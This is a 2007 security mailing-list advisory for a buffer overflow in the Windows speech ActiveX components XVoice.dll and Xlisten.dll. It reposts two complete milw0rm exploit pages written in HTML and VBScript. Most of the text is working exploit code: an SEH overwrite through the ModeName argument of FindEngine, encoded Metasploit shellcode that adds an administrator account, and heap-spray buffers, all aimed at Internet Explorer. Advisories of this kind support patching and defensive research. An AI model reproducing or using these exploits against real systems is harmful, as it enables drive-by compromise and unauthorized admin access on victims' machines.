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| Subject: | [EXPL] Microsoft Windows XVoice.dll and Xlisten.dll Buffer Overflow (Exploit) |
|---|---|
| Date: | 13 Jun 2007 10:42:37 +0200 |
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source. http://www.securiteam.com/mailinglist.html - - - - - - - - - Microsoft Windows XVoice.dll and Xlisten.dll Buffer Overflow (Exploit) ------------------------------------------------------------------------ SUMMARY An exploitable buffer overflow in Microsoft Windows' DirectSpeechSynthesis and DirectSpeechRecognition allows attackers to cause the user to execute arbitrary code by overflowing the ModeName parameter of the ActiveX. DETAILS Exploits: <!-- 01/06/2007 23.19.50 Microsoft Windows DirectSpeechSynthesis Module (XVoice.dll) / DirectSpeechRecognition Module (Xlisten.dll) remote buffer overflow exploit / 2k sp4 seh version both the dlls are located in %SystemRoot%\speech folder and they are vulnerable to the same issue. while on 2k it depends on activex settings, under xp they are both set to "safe for a trusted caller", i.e. Internet Explorer registers after that some chars are passed to ModeName argument of FindEgine method and seh handler is overwritten: EAX 00000000 ECX 00000000 EDX 02770608 EBX 6535F590 XVoice.6535F590 ESP 0012DBB8 UNICODE "AAAA... EBP 00410041 IEXPLORE.00410041 ESI 001921BC EDI 0012DBF8 UNICODE "AAAA... EIP 00410041 IEXPLORE.00410041 I succesfully run this code on win2k, patching the shellcode with the venetian technique, adding an Administrator account, against IE6. Under xp, with predefined settings, Internet Explorer immediately crashes without warning the user first, and it's still possible running arbitrary code, it depends on jumpable Unicode addresses loaded in memory by A. Micalizzi (aka rgod) site: retrogod.altervista.org ***note: this was indipendently discovered by me and Will Dormann during the same period, documented here: http://www.kb.cert.org/vuls/id/507433 http://www.microsoft.com/technet/security/Bulletin/MS07-033.mspx the affected package, http://www.microsoft.com/speech/AppHelp(SAPI4)/sapi4.asp is still distributed with the kill bit not set --> <html> <object classid='clsid:EEE78591-FE22-11D0-8BEF-0060081841DE' id='DirectSS'></OBJECT> <script language='vbscript'> targetFile = "C:\WINNT\speech\XVoice.dll" memberName = "FindEngine" progid = "ACTIVEVOICEPROJECTLib.DirectSS" argCount = 28 REM metasploit one, JmpCallAddtive, add a user 'su' with pass 'p' scode_fragment = unescape("%6E%40%6e%40%6e%40%6e%40%6e%40%6e%40 %6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%06%90%90%90 %90%90%90%90%fc%e4%22%eb%5e%31%ad%c3%c0%f7%e8%ff%ff%af%1a %30%5f%bb%5a%bd%ee%a5%ae%d4%19%e3%9b%3a%05%b9%42%03%a7 %41%4c%11%a9%7c%ee%7f%77%8c%f3%90%e8%b4%ef%4c%d4%8c%d4%99 %e4%5d%08%1e%9a%82%17%b3%21%43%31%44%5a%1b%6d%f5%69%39 %d9%c4%38%50%43%af%44%cc%df%76%7a%57%a5%c2%85%7e%b7%f3%18 %d3%39%70%9f%16%94%aa%37%5f%c5%ea%0a%70%23%10%c0%83%47%37 %eb%97%6a%b3%6c%3c%6c") nop1 = unescape("%01%6E%40%6E%40%6E%40%6E%40%6E%40%6E%40%6E%40") c1 = unescape("%6E") : REM add byte ptr esi, ch (as nop) c2 = unescape("%40%6E%40%6E%40%6E%40%6E%40%6E%40%6E%40%6E%40%6E%97%6E%40") : REM xchg eax, edi c3 = unescape("%6E%40%6E%05%18%09") : REM add eax c4 = unescape("%6E%40%6E%2d%11%09") : REM sub eax c5 = unescape("%6E%80%90%6E%40%6E%40") : REM add byte ptr eax 90, inc eax twice code = nop1 & c1 & c2 & c3 & c4 & c5 & _ unescape("%6E%80%90%6E%40%6E%40%6E%80%90%6E%40%6E%40%6E %80%90%6E%40%6E%40%6E%80%90%6E%40%6E%40%6E%80%90%6E %40%6E%40%6E%80%90%6E%40%6E%40%6E%80%90%6E%40%6E%40 %6e%80%bb%6e%40%6e%40%6e%80%47%6e%40%6e%40%6e%80%1a %6e%40%6e%40%6e%80%0c%6e%40%6e%40%6e%80%56%6e%40%6e %40%6e%80%1e%6e%40%6e%40%6e%80%01%6e%40%6e%40%6e%80 %85%6e%40%6e%40%6e%80%75%6e%40%6e%40%6e%80%c3%6e%40 %6e%40%6e%80%ef%6e%40%6e%40%6e%80%ff%6e%40%6e%40%6e%80 %18%6e%40%6e%40%6e%80%66%6e%40%6e%40%6e%80%e0%6e%40 %6e%40%6e%80%ec%6e%40%6e%40%6e%80%dc%6e%40%6e%40%6e %80%8e%6e%40%6e%40%6e%80%64%6e%40%6e%40%6e%80%81%6e %40%6e%40%6e%80%db%6e%40%6e%40%6e%80%d6%6e%40%6e%40 %6e%80%c3%6e%40%6e%40%6e%80%03%6e%40%6e%40%6e%80%88 %6e%40%6e%40%6e%80%58%6e%40%6e%40%6e%80%60%6e%40%6e %40%6e%80%9f%6e%40%6e%40%6e%80%d0%6e%40%6e%40%6e%80 %df%6e%40%6e%40%6e%80%2f%6e%40%6e%40%6e%80%15%6e%40 %6e%40%6e%80%2e%6e%40%6e%40%6e%80%41%6e%40%6e%40%6e %80%0b%6e%40%6e%40%6e%80%b2%6e%40%6e%40%6e%80%1e%6e %40%6e%40%6e%80%31%6e%40%6e%40%6e%80%c4%6e%40%6e%40 %6e%80%ad%6e%40%6e%40%6e%80%8f%6e%40%6e%40%6e%80%7a %6e%40%6e%40%6e%80%d0%6e%40%6e%40%6e%80%7d%6e%40%6e %40%6e%80%65%6e%40%6e%40%6e%80%f6%6e%40%6e%40%6e%80 %92%6e%40%6e%40%6e%80%54%6e%40%6e%40%6e%80%60%6e%40 %6e%40%6e%80%54%6e%40%6e%40%6e%80%0c%6e%40%6e%40%6e %80%d7%6e%40%6e%40%6e%80%49%6e%40%6e%40%6e%80%af%6e %40%6e%40%6e%80%da%6e%40%6e%40%6e%80%5c%6e%40%6e%40 %6e%80%ac%6e%40%6e%40%6e%80%f1%6e%40%6e%40%6e%80%24 %6e%40%6e%40%6e%80%e2%6e%40%6e%40%6e%80%3f%6e%40%6e %40%6e%80%44%6e%40%6e%40%6e%80%3f%6e%40%6e%40%6e%80 %2e%6e%40%6e%40%6e%80%03%6e%40%6e%40%6e%80%01%6e%40 %6e%40%6e%80%1b%6e%40%6e%40%6e%80%e8%6e%40%6e%40%6e %80%58%6e%40%6e%40%6e%80%91%6e%40%6e%40%6e%80%36%6e %40%6e%40%6e%80%be%6e%40%6e%40%6e%80%b5%6e%40%6e%40 %6e%80%a7%6e%40%6e%40%6e%80%b3%6e%40%6e%40%6e%80%80 %6e%40%6e%40%6e%80%24%6e%40%6e%40%6e%80%43%6e%40%6e %40%6e%80%84%6e%40%6e%40%6e%80%e4%6e%40%6e%40%6e%80 %f8%6e%40%6e%40%6e%80%77%6e%40%6e%40%6e%80%96%6e%40 %6e%40%6e%80%03%6e%40%6e%40%6e%80%13%6e%40%6e%40%6e %80%89%6e%40%6e%40%6e%80%fb%6e%40%6e%40%6e%80%24%6e %40%6e%40%6e%80%8b%6e%40%6e%40%6e%80%e9%6e%40%6e%40 %6e%80%0f%6e%40%6e%40%6e%80%d6%6e%40%6e%40%6e%80%ef %6e%40%6e%40%6e%80%73%6e%40%6e%40%6e%80%cf%6e%40%6e %40%6e%80%14%6e%40%6e%40%6e%80%6e%6e%40%6e%40%6e%80 %8c%6e%40%6e%40%6e%80%1f%6e%40%6e%40%6e%80%22%6e%40 %6e%40%6e%80%9e%6e%40%6e%40%6e%80%ae%6e%40%6e%40%6e %80%4e%6e%40%6e%40%6e%80%43%6e%40%6e%40%6e%80%fc%6e %40%6e%40%6e%80%d7%6e%40%6e%40%6e%80%72%6e%40%6e%40 %6e%80%38%6e%40%6e%40%6e%80%07%6e%40%6e%40%6e%80%17 %6e%40%6e%40%6e%80%83%6e%40%6e%40%6e%80%67%6e%40%6e %40%6e%80%4b%6e%40%6e%40%6e%80%68%6e%40%6e%40") seh_handler=unescape("%23%7d") : REM 0x007d0023 call edi, found with msfpescan eax = unescape("%01%12") : REM fix eax register, we fall in a more convenient condition suntzu = String(950, "A") + eax + seh_handler + code + scode_fragment EngineID="default" MfgName="default" ProductName="default" ModeID="default" ModeName= suntzu LanguageID=1 Dialect="default" Speaker="default" Style="default" Gender=1 Age=1 Features=1 Interfaces=1 EngineFeatures=1 RankEngineID=1 RankMfgName=1 RankProductName=1 RankModeID=1 RankModeName=1 RankLanguage=1 RankDialect=1 RankSpeaker=1 RankStyle=1 RankGender=1 RankAge=1 RankFeatures=1 RankInterfaces=1 RankEngineFeatures=1 DirectSS.FindEngine EngineID, MfgName, ProductName, ModeID, ModeName, LanguageID, Dialect, Speaker, Style, Gender, Age, Features, Interfaces, EngineFeatures, RankEngineID, RankMfgName, RankProductName, RankModeID, RankModeName, RankLanguage, RankDialect, RankSpeaker, RankStyle, RankGender, RankAge, RankFeatures, RankInterfaces, RankEngineFeatures </script> </html> # milw0rm.com [2007-06-13] <!-- 6.30 10/06/2007 Microsoft Windows DirectSpeechSynthesis Module (XVoice.dll 4.0.4.2512) / DirectSpeechRecognition Module (Xlisten.dll 4.0.4.2512) remote buffer overflow exploit/ xp sp2 version both dlls are vulnerable, this is the poc for the first one worked regardless of boot.ini settings, remotely and by dragging the html file in the browser window tested against IE 6 by A. Micalizzi (aka rgod ) this is dedicated to Sara, and greetings to shinnai, a good comrade ***note: this was indipendently discovered by me and Will Dormann during the same period, documented here: http://www.kb.cert.org/vuls/id/507433 http://www.microsoft.com/technet/security/Bulletin/MS07-033.mspx the affected package, http://www.microsoft.com/speech/AppHelp(SAPI4)/sapi4.asp is still distributed with the kill bit not set --> <html> <object classid='clsid:EEE78591-FE22-11D0-8BEF-0060081841DE' id='DirectSS'></OBJECT> <script language='vbscript'> REM metasploit, add a user 'su' with pass 'tzu' scode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49 %49%37%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%44%58 %50%30%41%30%41%6b%41%41%54%42%41%32%41%41%32%42%41%30 %42%41%58%38%41%42%50%75%68%69%39%6c%38%68%31%54%43%30 %47%70%57%70%4c%4b%30%45%77%4c%6e%6b%31%6c%47%75%51%68 %43%31%48%6f%6c%4b%52%6f%75%48%4c%4b%63%6f%31%30%53%31 %38%6b%71%59%6c%4b%36%54%6c%4b%47%71%48%6e%64%71%4f%30 %4d%49%6c%6c%4e%64%4b%70%30%74%76%67%4a%61%39%5a%76%6d %55%51%6b%72%4a%4b%68%74%47%4b%70%54%35%74%55%54%61%65 %6b%55%6c%4b%41%4f%77%54%34%41%48%6b%71%76%6e%6b%46%6c %62%6b%6e%6b%33%6f%77%6c%54%41%68%6b%6e%6b%57%6c%6c%4b %46%61%48%6b%4f%79%61%4c%71%34%56%64%48%43%54%71%4b%70 %31%74%4c%4b%37%30%46%50%4f%75%4f%30%41%68%46%6c%6e%6b %43%70%46%6c%6c%4b%30%70%35%4c%6e%4d%4e%6b%50%68%35%58 %68%6b%56%69%6c%4b%4b%30%6e%50%57%70%53%30%73%30%4e%6b %62%48%67%4c%43%6f%50%31%4a%56%51%70%36%36%6d%59%58%78 %6d%53%49%50%33%4b%56%30%42%48%41%6e%58%58%6d%32%70%73 %41%78%6f%68%69%6e%6f%7a%54%4e%42%77%49%6f%38%67%33%53 %30%6d%75%34%41%30%66%4f%70%63%65%70%52%4e%43%55%31%64 %31%30%74%35%33%43%63%55%51%62%31%30%51%63%41%65%47%50 %32%54%30%7a%42%55%61%30%36%4f%30%61%43%54%71%74%35%70 %57%56%65%70%70%6e%61%75%52%54%45%70%32%4c%70%6f%70%63 %73%51%72%4c%32%47%54%32%32%4f%42%55%30%70%55%70%71%51 %65%34%32%4d%62%49%50%6e%42%49%74%33%62%54%43%42%30%61 %42%54%70%6f%50%72%41%63%67%50%51%63%34%35%77%50%66%4f %32%41%61%74%71%74%35%50%44") + NOP eax= unescape("%ff%13") ebp= unescape("%ff%13") eip= unescape("%01%0a") : REM jmp to scode, UNICODE expanded jnk= string(50,unescape("%13")) suntzu = string(888,"A") + ebp + eip + eax + jnk bufferI = string(9999999,"X") bufferII = string(9999999,"Y") bufferIII = string(9999999,"Z") bufferIV = string(9999999,"O") EngineID= string(200000,"b") MfgName="default" ProductName="default" ModeID= string(199544,unescape("%90")) + scode ModeName= suntzu LanguageID=1 Dialect="default" Speaker="default" Style=1 Gender=1 Age=1 Features=1 Interfaces=1 EngineFeatures=1 RankEngineID=1 RankMfgName=1 RankProductName=1 RankModeID=1 RankModeName=1 RankLanguage=1 RankDialect=1 RankSpeaker=1 RankStyle=1 RankGender=1 RankAge=1 RankFeatures=1 RankInterfaces=1 RankEngineFeatures=1 DirectSS.FindEngine EngineID, MfgName, ProductName, ModeID, ModeName, LanguageID, Dialect, Speaker, Style, Gender, Age, Features, Interfaces, EngineFeatures, RankEngineID, RankMfgName, RankProductName, RankModeID, RankModeName, RankLanguage, RankDialect, RankSpeaker, RankStyle, RankGender, RankAge, RankFeatures, RankInterfaces, RankEngineFeatures </script> </html> # milw0rm.com [2007-06-13] ADDITIONAL INFORMATION The information has been provided by A. Micalizzi (aka rgod). The original article can be found at: <http://www.milw0rm.com/exploits/4066> http://www.milw0rm.com/exploits/4066 ======================================== This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com ==================== ==================== DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
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